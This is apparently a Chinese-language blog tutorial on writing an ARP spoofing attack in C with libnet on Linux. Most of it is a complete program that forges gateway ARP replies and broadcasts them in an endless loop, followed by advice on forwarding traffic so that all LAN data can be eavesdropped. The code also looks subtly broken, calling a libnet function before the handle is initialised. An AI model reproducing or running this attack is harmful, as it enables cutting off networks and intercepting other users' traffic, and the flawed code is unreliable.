您好,登錄后才能下訂單哦!
本文小編為大家詳細介紹“Linux怎么使用libnet實現ARP攻擊腳本”,內容詳細,步驟清晰,細節處理妥當,希望這篇“Linux怎么使用libnet實現ARP攻擊腳本”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學習新知識吧。
代碼如下:
#include "arp.h"
int main(int argc,char **argv){
libnet_t *l;
int i,packet_size; //發送的數據包的長度
libnet_ptag_t arp_tag,ether_tag;
char *device="eth0";
char err_buf[libnet_errbuf_size];
char *destion_ip_str = "255.255.255.255";
char *source_ip_str = "192.168.1.1";
u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_t source_ip,destion_ip;
//將字符形式ip轉換為網絡字節序
source_ip = libnet_name2addr4(l,source_ip_str,libnet_resolve);
destion_ip = libnet_name2addr4(l,destion_ip_str,libnet_resolve);
//初始化libnet句柄
l = libnet_init(libnet_link,device,err_buf);
if(l == null){
printf("初始化libnet句柄失敗:%s\n",err_buf);
exit(-1);
}
arp_tag = libnet_build_arp(
arphrd_ether, //硬件地址類型,此處為以太網類型
ethertype_ip, //協議地址類型
6,
4,
arpop_reply, //arp應答
source_hardware,
(u_int8_t *)&source_ip,
destion_hardware,
(u_int8_t *)&destion_ip,
null, //無負載
0, //負載長度為0
l,
0 //協議塊標記,為0,表示新建協議塊
);
ether_tag = libnet_build_ethernet(
(u_int8_t *)&destion_hardware,
(u_int8_t *)&source_hardware,
ethertype_arp,
null,
0,
l,
0
);
i = 0;
while(1){
packet_size = libnet_write(l); //發送構造的arp數據包
usleep(10);
i++;
}
printf("數據包長度為:%d\n",packet_size);
libnet_destroy(l);
return 0;
}
目標mac為廣播地址,全0xff就行,源mac地址可以為本機mac或者隨便偽造的mac(在程序中獲取本機mac可用ioctl函數,最近在寫ddos攻擊程序就是用ioctl獲取本機mac和ip的),注意arp包類型為arpop_reply(應答包)。
如果不想弄斷網,只進行欺騙的話,數據發送過來之后,要進行轉發到正確的網關,這樣就保證內網網絡正常,而且所有數據都被監聽了
讀到這里,這篇“Linux怎么使用libnet實現ARP攻擊腳本”文章已經介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領會,如果想了解更多相關內容的文章,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。